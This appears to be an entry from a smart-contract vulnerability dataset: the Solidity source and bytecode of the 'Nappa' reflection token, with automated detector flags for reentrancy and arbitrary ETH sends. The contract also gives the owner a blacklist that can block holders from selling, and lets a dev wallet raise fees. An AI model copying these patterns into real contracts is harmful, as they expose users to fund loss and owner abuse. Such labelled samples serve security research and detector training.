7f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f42616c616e6365206f6620746f6b656e20657175616c20746f2030000000000081525060200191505060405180910390fd5b82811015610f96578092505b8373ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104057600080fd5b505af1158015611054573d6000803e3d6000fd5b505050506040513d602081101561106a57600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112557600080fd5b505af1158015611139573d6000803e3d6000fd5b505050506040513d602081101561114f57600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166329589f61868673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee307a13726987666190aeec798abe93f11d65ee7f340000000000000000600060046040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825260048152602001807f5045524d0000000000000000000000000000000000000000000000000000000081525060200198505050505050505050602060405180830381600087803b15801561132257600080fd5b505af1158015611336573d6000803e3d6000fd5b505050506040513d602081101561134c57600080fd5b81019080805190602001909291905050509050809250505092915050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663f39b5b9b846001426040518463ffffffff1660e01b815260040180838152602001828152602001925050506020604051808303818588803b1580156113ee57600080fd5b505af1158015611402573d6000803e3d6000fd5b50505050506040513d602081101561141957600080fd5b81019080805190602001909291905050505050919050565b60008082840190508381101561144357fe5b809150509291505056fea2646970667358221220cdddec698758556061e85f826c60be53074895afdafb65d2614e633aeaf4eb3364736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,727
0x1777ce26965ebd25ccc0f0cdd925f7d712629895
/** *Submitted for verification at Etherscan.io on 2021-10-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Nappa is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Nappa"; string private constant _symbol = "Nappa"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; // 2% reflection fee for every earthling uint256 private _teamFee = 10; // 10% Marketing and Saiyan Tax uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Nappa; address payable private _SaiyanTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketfund, address payable saiyantax, address payable nappa) { _Marketingfund = marketfund; _Nappa = nappa; _SaiyanTax = saiyantax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_SaiyanTax] = true; _isExcludedFromFee[_Nappa] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(2)); _SaiyanTax.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Nappa); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Nappa); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Nappa); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Nappa); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Nappa); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarketingWallet(address payable account) external onlyOwner() { _SaiyanTax = account; } function setDevWallet(address payable account) external onlyOwner() { _Nappa = account; } }
0x6080604052600436106101a05760003560e01c8063715018a6116100ec578063c9567bf91161008a578063d543dbeb11610064578063d543dbeb14610488578063dd62ed3e146104a8578063e01af92c146104ee578063e47d60601461050e57600080fd5b8063c9567bf914610424578063cba0e99614610439578063d00efb2f1461047257600080fd5b8063a9059cbb116100c6578063a9059cbb146103af578063b515566a146103cf578063c0e6b46e146103ef578063c3c8cd801461040f57600080fd5b8063715018a6146103725780638da5cb5b1461038757806395d89b41146101ac57600080fd5b806328667162116101595780635932ead1116101335780635932ead1146102fd5780635d098b381461031d5780636fc3eaec1461033d57806370a082311461035257600080fd5b806328667162146102a1578063313ce567146102c1578063437823ec146102dd57600080fd5b806306fdde03146101ac578063095ea7b3146101e957806318160ddd146102195780631f53ac021461023f57806323b872dd14610261578063273123b71461028157600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201825260058152644e6170706160d81b602082015290516101e09190611e40565b60405180910390f35b3480156101f557600080fd5b50610209610204366004611cd1565b610547565b60405190151581526020016101e0565b34801561022557600080fd5b50683635c9adc5dea000005b6040519081526020016101e0565b34801561024b57600080fd5b5061025f61025a366004611c21565b61055e565b005b34801561026d57600080fd5b5061020961027c366004611c91565b6105b3565b34801561028d57600080fd5b5061025f61029c366004611c21565b61061c565b3480156102ad57600080fd5b5061025f6102bc366004611dfb565b610667565b3480156102cd57600080fd5b50604051600981526020016101e0565b3480156102e957600080fd5b5061025f6102f8366004611c21565b6106ea565b34801561030957600080fd5b5061025f610318366004611dc3565b610738565b34801561032957600080fd5b5061025f610338366004611c21565b610780565b34801561034957600080fd5b5061025f6107cc565b34801561035e57600080fd5b5061023161036d366004611c21565b6107f9565b34801561037e57600080fd5b5061025f61081b565b34801561039357600080fd5b506000546040516001600160a01b0390911681526020016101e0565b3480156103bb57600080fd5b506102096103ca366004611cd1565b61088f565b3480156103db57600080fd5b5061025f6103ea366004611cfc565b61089c565b3480156103fb57600080fd5b5061025f61040a366004611dfb565b610940565b34801561041b57600080fd5b5061025f6109d5565b34801561043057600080fd5b5061025f610a0b565b34801561044557600080fd5b50610209610454366004611c21565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561047e57600080fd5b5061023160165481565b34801561049457600080fd5b5061025f6104a3366004611dfb565b610dd1565b3480156104b457600080fd5b506102316104c3366004611c59565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104fa57600080fd5b5061025f610509366004611dc3565b610e9e565b34801561051a57600080fd5b50610209610529366004611c21565b6001600160a01b03166000908152600e602052604090205460ff1690565b6000610554338484610edc565b5060015b92915050565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161058890611e93565b60405180910390fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b60006105c0848484611000565b610612843361060d85604051806060016040528060288152602001612011602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611477565b610edc565b5060019392505050565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161058890611e93565b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6011546001600160a01b0316336001600160a01b03161461068757600080fd5b60018110158015610699575060198111155b6106e55760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d20323500000000006044820152606401610588565b600955565b6000546001600160a01b031633146107145760405162461bcd60e51b815260040161058890611e93565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161058890611e93565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260040161058890611e93565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b0316146107ec57600080fd5b476107f6816114b1565b50565b6001600160a01b03811660009081526002602052604081205461055890611536565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161058890611e93565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610554338484611000565b6000546001600160a01b031633146108c65760405162461bcd60e51b815260040161058890611e93565b60005b815181101561093c576001600e60008484815181106108f857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061093481611fa6565b9150506108c9565b5050565b6011546001600160a01b0316336001600160a01b03161461096057600080fd5b600081116109b05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610588565b6109cf6127106109c9683635c9adc5dea00000846115ba565b90611639565b600d5550565b6011546001600160a01b0316336001600160a01b0316146109f557600080fd5b6000610a00306107f9565b90506107f68161167b565b6000546001600160a01b03163314610a355760405162461bcd60e51b815260040161058890611e93565b601454600160a01b900460ff1615610a8f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610588565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610acc3082683635c9adc5dea00000610edc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0557600080fd5b505afa158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3d9190611c3d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8557600080fd5b505afa158015610b99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bbd9190611c3d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3d9190611c3d565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610c6d816107f9565b600080610c826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ce557600080fd5b505af1158015610cf9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d1e9190611e13565b505060148054673782dace9d9000006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610d9957600080fd5b505af1158015610dad573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c9190611ddf565b6000546001600160a01b03163314610dfb5760405162461bcd60e51b815260040161058890611e93565b60008111610e4b5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610588565b610e6360646109c9683635c9adc5dea00000846115ba565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6011546001600160a01b0316336001600160a01b031614610ebe57600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610f3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610588565b6001600160a01b038216610f9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610588565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610588565b6001600160a01b0382166110c65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610588565b600081116111285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610588565b6000546001600160a01b0384811691161480159061115457506000546001600160a01b03838116911614155b1561141a57601454600160b81b900460ff161561123b576001600160a01b038316301480159061118d57506001600160a01b0382163014155b80156111a757506013546001600160a01b03848116911614155b80156111c157506013546001600160a01b03838116911614155b1561123b576013546001600160a01b0316336001600160a01b031614806111fb57506014546001600160a01b0316336001600160a01b0316145b61123b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610588565b6001600160a01b038316301461125a5760155481111561125a57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561129c57506001600160a01b0382166000908152600e602052604090205460ff16155b80156112b85750336000908152600e602052604090205460ff16155b6112c157600080fd5b6014546001600160a01b0384811691161480156112ec57506013546001600160a01b03838116911614155b801561131157506001600160a01b03821660009081526005602052604090205460ff16155b80156113265750601454600160b81b900460ff165b15611374576001600160a01b0382166000908152600f6020526040902054421161134f57600080fd5b61135a42600f611f38565b6001600160a01b0383166000908152600f60205260409020555b600061137f306107f9565b9050600d54811061138f5750600d545b600c546014549082101590600160a81b900460ff161580156113ba5750601454600160b01b900460ff165b80156113c35750805b80156113dd57506014546001600160a01b03868116911614155b80156113f757506013546001600160a01b03868116911614155b15611417576114058261167b565b47801561141557611415476114b1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061145c57506001600160a01b03831660009081526005602052604090205460ff165b15611465575060005b61147184848484611820565b50505050565b6000818484111561149b5760405162461bcd60e51b81526004016105889190611e40565b5060006114a88486611f8f565b95945050505050565b6010546001600160a01b03166108fc6114cb836002611639565b6040518115909202916000818181858888f193505050501580156114f3573d6000803e3d6000fd5b506012546001600160a01b03166108fc61150e836002611639565b6040518115909202916000818181858888f1935050505015801561093c573d6000803e3d6000fd5b600060065482111561159d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610588565b60006115a761184e565b90506115b38382611639565b9392505050565b6000826115c957506000610558565b60006115d58385611f70565b9050826115e28583611f50565b146115b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610588565b60006115b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611871565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116d157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561172557600080fd5b505afa158015611739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175d9190611c3d565b8160018151811061177e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546117a49130911684610edc565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906117dd908590600090869030904290600401611ec8565b600060405180830381600087803b1580156117f757600080fd5b505af115801561180b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061182d5761182d61189f565b6118388484846118cd565b8061147157611471600a54600855600b54600955565b600080600061185b6119c4565b909250905061186a8282611639565b9250505090565b600081836118925760405162461bcd60e51b81526004016105889190611e40565b5060006114a88486611f50565b6008541580156118af5750600954155b156118b657565b60088054600a5560098054600b5560009182905555565b6000806000806000806118df87611a06565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119119087611a63565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119409086611aa5565b6001600160a01b03891660009081526002602052604090205561196281611b04565b61196c8483611b4e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119b191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006119e08282611639565b8210156119fd57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a238a600854600954611b72565b9250925092506000611a3361184e565b90506000806000611a468e878787611bc1565b919e509c509a509598509396509194505050505091939550919395565b60006115b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611477565b600080611ab28385611f38565b9050838110156115b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610588565b6000611b0e61184e565b90506000611b1c83836115ba565b30600090815260026020526040902054909150611b399082611aa5565b30600090815260026020526040902055505050565b600654611b5b9083611a63565b600655600754611b6b9082611aa5565b6007555050565b6000808080611b8660646109c989896115ba565b90506000611b9960646109c98a896115ba565b90506000611bb182611bab8b86611a63565b90611a63565b9992985090965090945050505050565b6000808080611bd088866115ba565b90506000611bde88876115ba565b90506000611bec88886115ba565b90506000611bfe82611bab8686611a63565b939b939a50919850919650505050505050565b8035611c1c81611fed565b919050565b600060208284031215611c32578081fd5b81356115b381611fed565b600060208284031215611c4e578081fd5b81516115b381611fed565b60008060408385031215611c6b578081fd5b8235611c7681611fed565b91506020830135611c8681611fed565b809150509250929050565b600080600060608486031215611ca5578081fd5b8335611cb081611fed565b92506020840135611cc081611fed565b929592945050506040919091013590565b60008060408385031215611ce3578182fd5b8235611cee81611fed565b946020939093013593505050565b60006020808385031215611d0e578182fd5b823567ffffffffffffffff80821115611d25578384fd5b818501915085601f830112611d38578384fd5b813581811115611d4a57611d4a611fd7565b8060051b604051601f19603f83011681018181108582111715611d6f57611d6f611fd7565b604052828152858101935084860182860187018a1015611d8d578788fd5b8795505b83861015611db657611da281611c11565b855260019590950194938601938601611d91565b5098975050505050505050565b600060208284031215611dd4578081fd5b81356115b381612002565b600060208284031215611df0578081fd5b81516115b381612002565b600060208284031215611e0c578081fd5b5035919050565b600080600060608486031215611e27578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611e6c57858101830151858201604001528201611e50565b81811115611e7d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f175784516001600160a01b031683529383019391830191600101611ef2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f4b57611f4b611fc1565b500190565b600082611f6b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f8a57611f8a611fc1565b500290565b600082821015611fa157611fa1611fc1565b500390565b6000600019821415611fba57611fba611fc1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b80151581146107f657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2f762d771164b197e65c738325a5e3106c23931e66c4aade2e312c665fc7eb364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,728
0x8d3e28266f3ed5d42010bcce0c3e1bf9d13d3926
